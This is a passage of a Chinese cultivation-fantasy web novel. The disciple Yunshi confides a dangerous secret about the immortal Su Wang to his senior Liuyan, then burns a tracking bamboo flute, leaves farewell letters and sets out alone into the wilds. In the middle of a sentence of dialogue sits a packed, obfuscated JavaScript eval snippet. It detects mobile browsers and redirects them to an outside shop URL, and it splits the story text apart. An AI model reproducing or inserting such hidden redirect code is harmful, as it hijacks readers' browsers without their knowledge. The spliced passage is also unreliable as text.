知道了这些,会不会被灭口?苏妄那样肆无忌惮的人,会容许这样的秘密被第二个人知晓吗?即使云实说这是“改良版”的告知,带有某种“选种子”的意味,可自己这个意外的知情者呢? 房间里的空气仿佛凝固了,油灯的光晕在流衍骤然紧绷的脸上跳跃,映出他眼底深处翻涌的惊涛骇浪。长久以来保持的温润从容,此刻出现了一丝裂痕。他不是怕死,修行至今,早已将生死置之度外。他怕的是,这些信息背后代表的巨大漩涡,可能引发的不可预知的动荡,以及……可能给云实、给天衡宗带来的灾难。 云实说完,看着流衍久久沉默、脸色变幻不定的样子,心中了然。他第一次在流衍脸上看到如此明显的“被吓到”的神情。这位总是从容不迫、仿佛一切尽在掌握的师兄,也有感到棘手和后怕的时候。 莫名的,云实心中那股一直以来的、面对流衍时的卑微与亏欠感,稍稍淡去了一些。原来强大如师兄,也会被这些颠覆性的真相冲击得失色。他们此刻,在某种程度上,站到了同一条晦暗不明的战线前。 他站起身,走到桌边,给流衍倒了一杯早已凉透的茶水,递过去。 “师兄,喝口水。”云实的声音比刚才平和了许多,甚至带上了一丝奇异的安抚意味,“我知道这些话听着吓人。我刚听到的时候,也觉得自己快疯了。” 流衍机械地接过茶杯,冰凉的触感让他略微回神。他抬头,看向云实。眼前的青年,眉宇间褪去了最后一丝稚气,那双曾经写满不甘、恐惧或刻意表演的眼睛,此刻清澈而平静,带着一种历经变故后的沉凝,甚至……有一丝超越年龄的了然。 “你……”流衍开口,声音有些干涩,“你就这样告诉我了?你不怕……” “怕。”云实坦然承认,在他对面坐下,“怕苏妄翻脸,怕惹来杀身之祸,也怕连累师兄你。”他顿了顿,看着流衍,“但我更怕,一个人揣着这些东西,不知道该怎么办。我需要一个人商量,一个我信得过的人。师兄,你是我唯一能想到的人。” 这份毫无保留的信任,像一股温热的暖流,稍稍驱散了流衍心中的寒意与惊悸。他握着冰冷的茶杯,指尖慢慢回暖。 “至于苏妄会不会因此对你不利……”云实想了想,根据他对苏妄那扭曲性格的理解,说道,“我觉得,他既然敢把这些告诉我,还给了我竹笛,大概也料到了我可能会告诉别人?或者说,他根本不在意?他要的是‘有趣’,是‘变数’。知道了这些秘密的你,对他而言,或许也成了一个更大的‘变数’,反而更‘有趣’了也说不定。” 这个推测带着苏妄式的逻辑,冷酷而荒诞,却莫名地让流衍觉得有几分道理。那个红发的仙尊,行事确实不能以常理度之。 看着流衍依旧凝重的神色,云实放缓了语气:“师兄,你先别想太多。这事急不来。我家这里还算清静,爹娘弟妹都是凡人,不会察觉到什么。你若是暂无要紧事务,不如……就先在这里住下?我们都可以好好想想,从长计议。” 他指了指窗外沉静的夜色和家中安详的灯火:“这里,暂时是安全的。至少,苏妄如果要找麻烦,不会轻易波及我的家人,这大概是他……为数不多的‘底线’之一?” 流衍看着云实沉稳的安排和眼中那份清晰的关切,心中的惊涛骇浪渐渐平息,化为一片沉重的、需要细细梳理的思绪。他确实需要时间消化这些惊世骇俗的信息,也需要仔细权衡利弊,思考自己和云实,乃至天衡宗,在这可能到来的巨大变局中,该如何自处。 许久,他缓缓点了点头,将杯中凉茶一饮而尽,冰凉的液体滑过喉咙,让他彻底冷静下来。 “好。”流衍的声音恢复了平日的沉稳,只是更深沉了几分,“我便在此叨扰几日。此事……需从长计议,万不可轻举妄动。” 窗外,月色西斜,万籁俱寂。 10. 【八】 晨光未曦,青石镇还沉浸在最后一抹深蓝的夜色里,只有东边天际线透出极淡的鱼肚白。云实习惯了早起,多年帮工和在后厨养成的本能让他即使在心事重重中,也在寅时末刻准时睁开了眼。家里很静,父母弟妹都还在睡梦中。他轻手轻脚起身,想去前院店堂帮着父亲准备今日要晾晒的布料。 刚推开自己厢房的门,隔着薄雾般的晨光,他瞥见客房门扉被极其缓慢地推开一道缝,一个颀长的人影侧身闪出,动作轻得几乎没有声音——是流衍。他穿戴整齐,背负长剑,手里甚至没有提昨夜云实母亲为他准备的、装着干粮和水的包袱,那包袱原样放在客房桌上。 他不是早起练功。他是要离开。不告而别。 一股寒意混杂着说不清的失落猛地攫住云实的心脏。他几乎是下意识地疾步上前,在流衍即将悄无声息地穿过庭院、走向临街后门时,横身挡在了他面前。 “流衍师兄,”云实的声音压得很低,却带着不容回避的质问,“天还没亮,你这是要去哪儿?” 流衍显然没料到云实起得这么早,更没料到自己会被堵个正着。他素来温润平和的脸上,第一次出现了一丝堪称“狼狈”的僵硬,眼神快速掠过云实,投向尚未开启的后门,又落回云实脸上,那双总是澄澈映人的眼眸里,此刻翻涌着复杂的情绪:无奈、忧虑,甚至有一丝……歉意。 两人在微凉的晨雾中对峙了片刻,只有远处隐约传来早醒的雀鸟试探性的啁啾。 流衍闭了闭眼,再睁开时,那层惯常的温润外壳似乎裂开了一道缝隙,透出底下的疲惫与沉重。他几不可闻地叹了口气。 “云实师弟,”他声音干涩,“我并非有意不告而别。只是……” “只是什么?”云实追问,心跳得很快。他想起昨夜自己竹筒倒豆子般将苏妄的秘密和盘托出后,流衍那震惊到近乎空白的表情,以及随后长久的沉默。当时流衍只说“此事太过骇人,容我细思”,便再未多言。 流衍抬手,似乎想按一按眉心,却又在中途放下。他示意云实走到院中那棵老槐树下,这里离正屋和厢房都远些。晨雾在枝叶间缓缓流动。 “云实,”流衍这次没喊师弟,语气是一种近乎直白的无奈,“我不怪你。真的。” 云实一怔。 “你是石井镇普通布料商家庭出身,加入天衡宗走的是杂役后厨的路子,本质上仍是‘外来弟子’。苏妄……”流衍提到这个名字时,眉头蹙紧,“他行事癫狂自我,将你带去大自在天,恐怕从未教过你修仙界真正的人情世故、势力纠葛,更不会告诉你什么话能说,什么话听了就该烂在肚子里。大自在天那种地方,也没人会教你这些。” 流衍看着云实,眼神里没有责备,只有一种深切的明了:“所以,你昨夜对我说那些,是基于信任,或者……是基于你身边实在无人可说了。我明白。” 云实喉咙发紧,点了点头。流衍说得对,在触及那个惊世秘密的震撼与迷茫中,在身边亲人皆不可与之言的孤独里,流衍是唯一一个让他觉得可以倾诉、且有能力理解些许的人。 “但是,”流衍话锋一转,声音压得更低,每个字都像浸透了晨雾的寒意,“云实,你确实给我带来了麻烦。巨大的麻烦。” 云实脸色微微发白。 “苏妄此人,”流衍缓缓道,像是在斟酌最准确的词语,“他可以说是一个……‘堪比魔修的正修’。”看到云实眼中疑惑,他解释道,“魔修之所以被定为魔修,并非仅仅因为他们行事残忍、罔顾人伦。修仙界漫长历史中,各种急功近利、损人利己、甚至献祭生灵以换取力量的‘邪道’层出不穷。但绝大多数所谓‘魔功’,之所以无法成为主流,甚至迅速湮灭,根本原因不在于正道修士的剿杀——虽然那也很重要——而在于其本身的反噬。” “要么是透支寿元精魄,修炼越快死得越早;要么是扭曲心智,最终沦为只知杀戮的怪物;要么是根基虚浮,看似强大,实则一遇真正的天道考验(比如天劫)或高深正道法门,便即刻崩解。命都没了,道心都毁了,这条路自然就断了,都无需旁人费心去‘制止’,因为它自己就走不通。” 流衍的目光变得锐利,仿佛穿透晨雾,直视着某个遥远而危险的真相:“但苏妄不同。按你所言,他修为高深莫测,能轻易压制霁雪师叔,行事看似癫狂却自有其逻辑,更建立了大自在天这样一处连宗门都讳莫如深的所在。他若走的是注定反噬的‘魔道’,绝无可能安安稳稳坐在那个位置上。” “所以?”云实隐隐抓住了什么,心跳如擂鼓。 “所以,只剩下一种可能。”流衍一字一顿,像是用尽力气吐出这个结论,“你转述他的那些话——关于天劫是‘骗局’,关于他绕开了天劫——很可能是真的。至少,‘绕开天劫’这一点,他有极大可能是做到了。” 这个结论从流衍口中如此明确地说出,带来的冲击远比云实自己朦胧的猜测要强烈百倍。云实感到一阵眩晕。 “你知道修仙八境,为何划分如此严密,测试如此严格,各大宗门、乃至帝国皇室都设有专门机构记录在案、管理修士吗?”流衍继续问道,语气沉郁,“不仅仅是为了秩序和资源分配。更深层的,皇室牵头维系这套等级体系,监控所有在册修士的修为进度,尤其是——突破大境界时,是否‘如期’经历了天劫。” “如果一个人,宣称自己突破了,却没有经历对应的天劫记录,或者天劫记录有可疑之处……那么,在官方的体系里,他要么被视为伪突破,要么……就会被列入某种‘异常’名单。而一个能真正绕开天劫却获得力量的修士,意味着他脱离了这套监控体系,成了‘不可测’的存在。对致力于维持‘稳定’与‘平衡’的皇室和顶级宗门而言,这是比魔修更需警惕的变数。” 流衍深吸一口气,仿佛接下来的话更加难以启齿:“然而,苏妄不仅好端端地活着,还活得相当‘显眼’。大自在天并非隐秘洞穴,它在修仙界高层并非无人知晓,只是大家心照不宣。这意味着什么?” 云实的后背渗出冷汗,他顺着流衍的思路,喃喃道:“意味着……这套本应监控和排除‘异常’的体系,本身……就存在漏洞?或者,有能力,并且……实际包庇了这种‘异常’?” “不错。”流衍的眼神充满了冰冷的洞悉,“能包庇苏妄一个,就能包庇几十个、几百个。这不再是某个修士走了狗屎运找到漏洞的个人问题。这暗示着,我们头顶这片天空下,赖以修行、划分境界、敬畏无比的天道与劫难体系……其深处,可能存在着系统性的、被某些力量刻意维持或利用的隐情。” 这个推论比苏妄本人的话更具颠覆性。苏妄可以是个疯狂的先知或幸运的漏洞发现者,但若整个体系都参与了对这种异常的默许或掩盖,那性质就完全不同了。这不再是个人对抗天道,而是个体坠入了一个早已编织好的、更大更诡异的罗网。 “我最好不知道这些。”流衍的声音带着一丝不易察觉的颤抖,不是恐惧,而是面对庞然未知时本能的不安,“云实,你给我的那个竹笛,你说苏妄给的,里面有取丹之法,还连着感应法术。你昨夜对我讲述这些惊天秘闻时,有没有想过,通过这支笛子,或者通过你身上那颗与苏妄丹药同源的内丹……苏妄本人,甚至其他可能关注着苏妄或这类‘异常’的人,是否已经知晓了?” 云实如遭雷击,猛地倒退半步,脸色瞬间惨白。他……他根本没往这处想!昨夜倾诉,只觉压在心头的大石需要分担,只觉流衍是可以信赖的师兄……却完全忽略了苏妄那无处不在的、令人窒息的掌控感和恶趣味!竹笛是苏妄给的,内丹是苏妄种的,大自在天的一切都笼罩在苏妄的阴影下……他怎么能天真到以为,关于苏妄最大的秘密,可以避开苏妄的耳目? 看着云实惨然的脸色,流衍知道答案了。他苦笑一下:“看来你也明白了。我现在,很可能已经暴露在‘他们’的视线里了。‘他们’可能是苏妄,可能是包庇苏妄的体系内势力,也可能是其他什么东西。我不知道为什么从我离开天衡宗到现在,包括昨夜听你讲述后,一直风平浪静,没有任何异动。但这平静本身,或许更可怕。” “所以,”流衍望向紧闭的后门,眼神沉重,“这就是我为什么不敢轻易走出你家院子。我不知道踏出这里,会立刻迎来灭口的黑手,还是某种‘邀请’,抑或是更诡异的、我无法理解的局面。我留在这里,至少暂时是安全的,因为有你这个‘连接点’在,他们或许还会观望。但我若独自离开,目标明确,会发生什么就难说了。” 云实的心沉到了谷底。巨大的愧疚感淹没了他。他以为自己只是分享了一个秘密,却没想到这个秘密本身就是一个携带致命追踪器的炸弹,而他亲手把这炸弹塞给了唯一真心帮助他、回护他的流衍师兄。 “对……对不起……流衍师兄,我……我真的没想到……”云实的声音哽咽了,他恨不得时间倒流,恨不得自己从未开过口。 流衍摆摆手,疲惫中带着一丝宽容:“现在说这些无益。你我已同在局中。当务之急,是弄清楚我们到底陷入了怎样的局面,以及……下一步该如何走。” 他顿了顿,看向云实,目光复杂:“云实,你很可能会想说,以后就跟着我,或者让我带着你。但恕我直言,这不现实,甚至更危险。第一,我的修为,在真正可能关注此事的‘高层’眼里,不值一提。第二,我现在的处境,自身难保,是个明显的‘异常信息知晓者’,带着你,只会让你也更快暴露在更直接的风险下。第三……” 流衍的目光落在云实身上那件红白相间的外袍上,那是云实拆解苏妄所赠衣物后自己缝制的,象征着他与过去某种扭曲的整合。 “你的路,已经被苏妄强行改变了方向。你体内的‘乱灵根’和那颗内丹,才是你目前真正的依仗和……枷锁。我的道,是正统的‘序’与‘源’之路,与你的‘乱’在根源上不同,我无法在修行上给你实质指引,贸然带你走我的路,只会害了你。” 现实如此冰冷残酷。云实刚刚因为安顿好家庭而升起的一丝暖意和踏实感,此刻被彻底击碎。他以为回到家是喘息,是重新开始,却发现自己带回了更巨大的阴影,不仅笼罩自己,还牵连了恩人。 “那……那我们……现在该怎么办?就……一直躲在我家里?”云实茫然问道,感到前所未有的无助。家,这个他拼尽全力想要守护的港湾,此刻似乎也变得脆弱而不安全。 流衍沉默片刻,缓缓道:“暂时只能如此。以静制动。你家在青石镇,是凡俗地界,又有布料店作为日常掩护,相对不那么引人注目。我需要时间,理清思绪,或许……可以尝试用一些极隐秘的方式,向绝对可信的师门长辈传递一丝极其模糊的警示,但不能提及你我,更不能涉及苏妄和骗局的具体字眼,那太危险。” 他看向云实,眼神严肃:“云实,从现在起,你我要约法三章。第一,昨夜谈话内容,绝不可再对任何人提起,包括你的至亲。第二,暂时停止任何主动探查‘骗局’或苏妄背景的行为,我们实力不够,妄动就是找死。第三,关于你体内的内丹和修炼……我虽不能直接指导你‘乱’之道,但我可以帮你分析你修炼时的一些现象,从‘序’与‘平衡’的角度给你一些提醒,避免你因急于求成而走火入魔。至于是否取出内丹……这决定只能你自己做,但必须在更安全、更了解后果的前提下。” “那苏妄给我的选择……”云实握紧了袖中的竹笛,冰冷的触感传来。 “那是你的因果。”流衍叹息,“我只能说,在弄清更多之前,不要轻易使用这支笛子里的方法。苏妄给你的选择,或许本身就是一个更大的陷阱或实验的一部分。” 晨雾渐渐散去,天光大亮,青石镇的轮廓清晰起来,市井的声音开始隐约传来。新的一天开始了,但对槐树下的两人而言,世界已然不同。他们被一个危险的秘密捆绑在一起,困在看似平静的凡俗小院,头顶悬着不知何时会落下的利剑。 竹笛是在后院灶膛里烧掉的。 云实没有惊动任何人。那夜与流衍交谈过后,他又枯坐了整宿,天将明时,他握着那支触手温润、内藏致命法与感应术的竹笛,走进了后厨。 灶膛里还有昨夜煨汤留下的余烬,泛着暗红。他蹲下,看了那支笛子很久。笛身光洁,隐约能见细密竹纹,是上好的灵竹所制,在大自在天时,苏妄常于无常殿高处吹奏类似的调子,声音清越穿云,却总透着一股万事不挂心的凉薄。 这笛子是他的选择权,也是他的枷锁,更是流衍师兄陷入险境的引信。 云实没有犹豫,将竹笛直接扔进了余烬中。 没有噼啪声,没有烟。竹笛在幽蓝火焰中如同褪色般迅速变得透明,而后像晨雾遇见日光,悄无声息地消散了。连灰烬都没有留下,仿佛从未存在过。 云实看着空荡荡的灶膛,心头也像被那幽火烧出了一个洞,凉飕飕的,却又奇异地感到一丝轻松。 他做出了决定:不取出内丹,但也不渡劫。 这个决定很糟糕,他自己清楚。不取内丹,意味着他选择了继续背负苏妄的馈赠与诅咒。而不渡劫,则意味着他主动斩断了在现有修仙体系内正统上升的可能性。因为按苏妄所言,也按他自己的直觉,以他这诡异的灵根和来历不明的内丹,若去渡那体系内的天劫,必死无疑。 他不能死。 最初的目标看似已经达成。储物袋解决了布料存储的核心难题,云舒有经营之才,云岭专心科考,父母身体也被流衍调理妥当。若他现在死了,或是因渡劫失败沦为劫境一部分,这个刚刚步入正轨的家会怎样?弟弟妹妹的前程,父母的晚年,很可能因他修仙者的身份引来不必要的关注甚至灾祸。 更何况,现在又多了一个流衍师兄。是他将秘密和危险带给了这位唯一真心待他好的师兄。 烧掉竹笛,是斩断苏妄直接的监控与操纵可能,也是对自己决心的确认。他要走一条夹缝中的路:既利用这身非常之力谋生存、护家人,又极力规避那套可能致命的天劫体系。他要活着,以一种“非正统”但实际有用的方式活着。 流衍是在当天下午收到师门回讯的。 他没有用常见的传讯玉符,那样波动可能被监测。他用的是自己的佩剑“静渊”。此剑并非凡铁,剑柄深处镌刻着极细微的共鸣阵法,需以特定频率的灵力和神识激发,能与天衡宗“剑鸣阁”内对应的母阵产生定向共鸣,传递加密的简短信息。此法消耗不小,且距离受限,但胜在隐蔽,因剑器本身的灵力波动足以掩盖那微弱的传讯涟漪。 流衍在客房内闭目凝神近一个时辰,脸色微微发白,才终于触发了“静渊”的传讯功能,将青石镇遭遇的困境以及请求指示的信息送出。 回讯在傍晚时分,随着“静渊”剑身一阵几乎无法察觉的轻颤传来。流衍解读着那以特殊剑意波动承载的信息,眉头越锁越紧。 讯息非常简短,却透着一股山雨欲来的凝重:“情势已知,远复杂于你所想。勿擅动,勿再探,勿牵连无关。护好自身及云实。支援已在途中,但需时日扫清障碍。在此之前,保持静默,如常度日。切记,所见所闻所疑,皆不可再泄于任何文字、言语乃至神识。” 他将佩剑归鞘,走出客房,看到云实正在院中帮母亲林秀晾晒一批新染的夏布。夕阳给少年忙碌的身影镀上一层暖光,看起来与寻常人家的孝顺儿子无异。但流衍知道,那具身躯里藏着怎样一颗备受煎熬又逐渐坚硬的心,以及怎样一股危险而不羁的力量。 云实察觉到目光,转头看来,眼神带着询问。 流衍几不可见地摇了摇头,示意进房再说。 两人再次回到流衍暂住的客房。听完流衍转述的师门回讯,云实沉默了许久。 愧疚感再次翻涌上来。“是因为我……” “与你说过,无益。”流衍打断他,语气温和却不容置疑,“现在我们是拴在一处的。师门既已知晓,并决定介入,那便是将此事视为宗门层级的事务了。你我只需遵从指令,耐心等待。” 云实点了点头,但眼神里的焦灼并未散去。他无法心安理得地等待,尤其是让流衍因他而困在这方寸之地,无法修炼,前途未卜。 “师兄,”云实忽然抬头,眼神里有一种破釜沉舟后的清晰,“我不能什么都不做。光是等着,我心里过不去。” 流衍看着他:“你想做什么?” “修炼。”云实说,“在大自在天,我为了活下去,为了变强,也认真练过。虽然进步慢得像蜗牛,但至少……我在动。现在我不能渡劫,但没说我不能继续练气、继续琢磨这颗内丹和‘乱’灵根。苏妄说过,‘乱’并非纯粹的破坏,而是‘变化之机’,是打破固有平衡的可能。我需要理解它,哪怕只是为了控制它不在我体内暴走。” 他顿了顿,眼神投向窗外自家店铺的方向,一个计划在他心中迅速清晰成形,这想法或许在他发现储物袋妙用时就已埋下种子,如今被困境催发。 “还有家里的店。”云实的声音低沉下来,带着一种与年龄不符的算计,“之前那个储物袋,只是解决了防潮防霉。但如果……如果我能制作出更多类似的、带有特殊效果的东西呢?不一定是储物袋,可能是让布料保持恒温的‘暖石袋’,可能是驱赶蠹虫的‘香囊’,甚至……如果我对‘化凝’维度理解更深,是不是能让布料的染色更牢固、色彩更奇特?” 他越说,思路越清晰,眼中燃起微弱却执着的光:“天衡宗和大自在天的经历让我明白,修仙界的资源,哪怕是最低级的,对凡人而言都是至宝。我不需要做出多高级的仙器,我只需要做出一些对凡人商户有用、成本可控的‘小玩意’。以‘云锦记’为起点,慢慢铺开。如果推广这种东西有罪,会被盯上,那我就只给自己家用,或者只卖给最信得过的老主顾,悄悄攒钱。” 他看向流衍,语气诚恳:“攒下的钱,可以给师兄你购买修炼所需的丹药、灵石,或者更好的法器。师兄你变强了,我们才能更有底气。等将来……如果真的不得不面对什么,我们也能多一分依仗。我现在境界低,做不出好东西,但只要我继续修炼,继续摸索,总有一天可以。” 这是一个凡人在修仙界夹缝中求生的朴素智慧,混合了商贾的精明与修行者对未来力量的期待。云实想用自己的方式,在这僵局中凿开一道口子,既提升自己,也补偿流衍。 然而,流衍听完,却没有露出赞许或松动的神情。他静静地看着云实,目光深邃复杂,良久,才缓缓开口,语气平静得近乎冷酷:“云实,你的心意我明白。但,不必了。” 云实一愣:“师兄?” “等师门援手一到,我会立刻跟他们走。”流衍说得清晰无比,仿佛早已下定决心,“而你,最好继续留在青石镇,经营你家店铺,照看你父母弟妹。我们……以后没有瓜葛比较好。” 这句话像一盆冰水,将云实心头刚刚燃起的那点热切浇得透心凉。他难以置信地看着流衍:“为……为什么?师兄是怪我连累了你,所以要划清界限吗?我说了,我想补偿,我会想办法……” “你怎么补偿?”流衍打断他,问题直指核心,声音依旧平静,却带着一种让云实心慌的距离感,“现在我在你家,灵力运转需格外小心,以免引来不必要的窥探,根本无法像在山门中一样正常练功。除非你能把我安然护送到天衡宗山门——但且不说路途危险,我的修为远高于你,何需你护?更可能是我护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934568|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着你,反而更易暴露。” 他顿了顿,继续道:“至于以后……经此一事,我回山后,很可能很长一段时间,都不会再有下山的机会了。” 句句在理,字字现实。云实张了张嘴,发现自己那些基于凡俗商业逻辑和微弱修炼前景的构想,在流衍所面对的、更宏大更残酷的修仙界规则面前,显得如此天真和无力。 “那……那我帮你抄写修炼笔记呢?”云实不甘心,几乎是绞尽脑汁想出自己能做的事,“我在后厨帮工时,也跟账房先生认过不少字,我练字也快……或者,你需要什么典籍查阅,我帮你去市集书铺找?凡间的杂书里,有时候也会有些奇闻异事,说不定……” “云实。”流衍叫了他的名字,声音里终于透出一丝极淡的疲惫,那疲惫之下,是深不见底的决绝,“你的心意,我领了。但真的,不用了。” 他看着云实瞬间黯淡下去的眼神,心中并非毫无波澜,但他必须如此。让云实继续抱有“补偿”的希望,只会让这少年更加执着地想要靠近他,卷入更深。只有彻底斩断这份牵连,让云实安心做回他的布料店少东家,才是眼下对这少年、对他家人最好的保护。至于自己回山后可能面临的审查、限制乃至更糟的情况……那是他作为知情者、作为天衡宗弟子,必须独自承担的代价。 “师门命我静默,护你周全直至他们到来。”流衍移开目光,望向窗外渐沉的暮色,“在那之前,我会留在这里。之后的路……各自安好。” 客房内陷入长久的寂静。夕阳的最后一道余晖从窗棂斜射进来,照亮空气中飞舞的微尘,却照不亮两人之间骤然拉开的、无形而冰冷的距离。 …… 信是在后半夜写的。 云实没有点灯,只借着从窗纸透进来的、清冷朦胧的月光,铺开两张从弟弟云岭书桌上取来的普通信笺。研墨时,他动作极轻,生怕惊扰了隔壁父母和弟妹的安眠,也怕惊动了另一间客房里,或许正在调息、或许同样无眠的流衍。 第一封是给家里的。笔迹是他平日里帮父亲记账时练就的工整楷书,语气平实,甚至带着点刻意营造的轻松。 “父亲、母亲大人膝下:见字如面。儿于家中盘桓数日,见店铺生意渐好,小舒打理井井有条,岭弟学业用功,父母身体康健,心中甚慰。师门忽有急务传召,需儿即刻返回。流衍师兄另有要事,暂不同行,将在咱家再小住一两日,随后自会归山。儿此去归期未定,但必勤勉当差,不负父母养育之恩。家中诸事,劳父亲母亲多费心,小舒聪慧,岭弟懂事,儿在外亦能安心。勿念。不孝儿云实敬上” 写完,他轻轻吹干墨迹,将信笺折好,放在自己房间桌面最显眼的位置,用一方镇纸压住。 第二封是给流衍的。这封信很短,却字字斟酌。 “流衍师兄尊鉴:师弟决意先行一步。师兄所言极是,你我牵扯过深,于彼此皆非幸事。家中父母弟妹皆凡人,于此间事一无所知,望师兄念在数日相处情分,莫使他们受惊扰。师兄可安心暂居,待天蕴师姐或宗门其他援手抵达,随之安然返山即可。此后山高水长,不必联络,亦不必寻我。前路混沌,我当自去求个分明。祸福自担,不累师兄。云实留字” 他将这封信折成一个小小的方块,没有放在桌上,而是轻轻塞进了流衍客房的门缝之下。做完这一切,他退回自己房间,开始收拾行囊。 没什么可带的。几件换洗的普通布衣,一件厚实些的夹袄,一些针线,一小包干粮饼子。最后,他的目光落在床头那件红白相间的外袍上。他沉默地看了它片刻,终究还是拿起来,穿在了最外面。 他没有动苏妄后来给的那些低级储物袋,只带了一点银钱。他将自己彻底还原成一个看似一无所有、只为“师门急务”匆匆上路的低阶弟子模样。 寅时三刻,天色最暗,人睡得最沉的时候。云实背上小小的行囊,最后看了一眼沉睡中的家宅轮廓,父母房间的窗户,弟弟妹妹厢房的方向,然后转身,轻轻拉开后院那扇通往小巷的木门。 “吱呀——”一声极轻微的响动,在寂静的夜里却显得清晰。 云实动作僵了一瞬,侧耳倾听。主屋和厢房都没有动静,流衍的客房也一片沉寂。他不再犹豫,闪身出门,反手将门扉轻轻合拢,隔绝了院内的一切。 他没有走青石镇的主街,而是拐入熟悉的小巷,七绕八拐,凭借着多年生活于此的记忆,在黎明前最浓的黑暗中,像一滴水汇入溪流,悄无声息地离开了镇子,踏上了通往北方荒野的土路。 他选择的方向,并非返回天衡宗所在的翠微山,也不是通往任何已知的仙门坊市。那是地图上标识模糊、人迹罕至的荒野方向,传说中偶有低阶妖兽出没,也是某些不愿显露行迹之人常用的路径。 几乎在云实合拢后院木门的同一瞬间,客房内,盘膝而坐的流衍缓缓睁开了眼睛。 他根本没有入睡,也没有深度入定。自从那夜与云实交谈后,他的神识始终维持着一种外松内紧的状态,谨慎地覆盖着这个小院,感知着任何异常的灵力波动或动静。云实烧掉竹笛时那幽蓝火焰一闪而逝的“乱”之气息,他捕捉到了;云实深夜研墨写信时细微的声响,他也听到了;甚至云实那压抑的、近乎无声的呼吸变化,他都能察觉。 直到云实的脚步声彻底消失在巷子深处,流衍才几不可闻地叹了口气。那叹息声轻得像窗外拂过树叶的夜风,转眼无踪。 他起身,走到门边,弯腰拾起了那封信。没有立刻打开,只是捏在指间,感受着纸张微凉的触感。月光透过窗纸,在他脸上投下明明暗暗的光影,让他素来温润的眉眼显得有些深沉莫测。 片刻后,他走到桌边,就着微弱的月光,展开了信笺。潦草却坚定的字迹映入眼帘,每一个字都像针,轻轻扎在他心头。尤其是最后那句“祸福自担,不累师兄”。 “傻小子……”流衍低声自语,声音里听不出是无奈,是痛惜,还是别的什么。他将信纸重新折好,却没有收起,而是走到桌边油灯旁,指尖一缕极细微、纯净的火之灵气溢出,精准地点燃了信纸一角。 火焰安静地吞噬了纸张,将那些字句化为灰烬,最后一点火星在他指尖湮灭,连烟味都被他随手拂散的微风驱散。仿佛这封信从未存在过。 做完这些,流衍重新坐回床榻,目光投向云实房间的方向,眼神复杂。云实的选择,在他意料之外,却又在情理之中。 虽然不是自己的问题,但是他知道压力全都在自己和身边人身上。流衍几乎能想象出云实写下决定时,脸上那种混合了痛苦与清醒的神情。 云实说得对,苏妄除了最初那场交易堪称恶劣,其后种种,无论是揭露真相,还是给出选择,甚至放任云实离开大自在天,在某种扭曲的尺度上,竟也算“言而有信”、“给了出路”。真正令人窒息的,不是某个个体的恶行,而是那无形无质、却无处不在的“规则”与“隐情”。 流衍想到师门那语焉不详、充满警告的回讯,想到“扫清障碍”四个字背后的血腥意味,嘴角浮起一丝极淡的苦笑。云实选择独自上路,或许反而是将他自己从师门可能采取的某些措施中摘了出去。至于危险……哪条路不危险? 流衍重新闭上眼,神识却不再刻意笼罩小院,而是缓缓内收。他需要休息,需要为接下来可能到来的任何情况保存精力。至于云实……那孩子穿上了那件红白袍,烧掉了竹笛,意味着他既没有完全斩断与苏妄的因果,也没有彻底接受苏妄的安排。他走上了一条属于自己的、充满不确定性的岔路。 “直面么……”流衍在心中默念着云实信中未写、但他能感受到的那份决心。也好。这潭水已经够浑了,多一个不甘被命运随意摆布的变数,或许并非坏事。 天光渐亮,青石镇苏醒的嘈杂声隐约传来。新的一天开始了,云锦记的铺板将被取下,林秀会开始洒扫,云天青会整理布匹,云舒会清脆地招呼早客,云岭会朗声晨读。一切都将如常,除了少了一个沉默帮工的长子,和一个客房中等待未知的过客。 流衍维持着打坐的姿势,像一尊沉静的雕像,等待着天蕴,或者师门派来的“其他人”,敲响这扇门。而他的思绪,却有一缕,已随着那个独自走入荒野晨雾的少年身影,飘向了远方。 北方荒野的风,带着料峭的寒意和草木泥土的气息,扑打在云实脸上。他紧了紧身上的红白外袍,步伐稳定地走着,没有回头。 家,被他用一封信留在了身后;师兄的庇护,被他用另一封信推开;苏妄的阴影和选择,被他用火焰和决断暂时搁置。 前路茫茫,但他心中却奇异地没有太多恐惧,反而有一种近乎麻木的清晰。他要调查,不是盲目地挑战什么,而是要先弄清楚,这个世界的“规则”到底有多少层,哪些是牢不可破的天道,哪些是人为编织的罗网。他要变强,不是为了称尊道祖,而是为了拥有不被随意碾碎、并能保护所珍视之物的力量。如果真有人因他探查而找上门来……那便直面。 他从怀里摸出那包干粮饼子,掰下一小块,慢慢咀嚼着。粗糙的口感,熟悉的家的味道。这或许是他很长一段时间内,能尝到的最后一点安稳滋味。 日光终于完全驱散了晨雾,照亮了前方蜿蜒曲折、通向未知山岭的土路。路旁有野兽新鲜的足迹,有奇形怪状的岩石,有在微风摇曳的、叫不出名字的野草。 云实停下脚步,回头最后望了一眼青石镇的方向,那里已只剩下一片模糊的轮廓。然后,他转回头,目光落在前路,深深吸了一口荒野清冷而自由的空气,继续向前走去。 袍角红白相间的色泽,在旷野的风中猎猎拂动,像一面微小而倔强的旗帜,又像一道尚未愈合、仍在渗血的伤疤。 11. 【九】 青石镇的清晨,向来是从井轱辘的吱呀声和街坊间互相问候的吴侬软语开始的。 林秀像往常一样,在天光刚染亮窗纸时就醒了。儿子回家带来的安心感让她这几日睡得格外踏实。她轻手轻脚起身,看了眼身旁还在熟睡的丈夫云天青,嘴角含笑。铺子的难题有了盼头,日子好像又能继续平稳地过下去了。她套上外衫,拿起门后的扫帚,准备去前头洒扫。 刚走到前堂,却见丈夫云天青也已起身,正站在尚未卸下门板的店门口,侧耳听着什么,脸上带着些许疑惑和郑重。 “怎么了,天青?”林秀问。 “外面……”云天青压低声音,“好像有客,而且是……不一样的客。” 林秀心头一动,随着丈夫轻轻卸下一块门板。门外晨光熹微,街巷刚刚苏醒,但与往日不同的是,一种难以言喻的、清冽而高远的气息弥漫在空气中,不冷,却让人心神不由自主地沉静下来,仿佛喧嚣被滤去了一层。 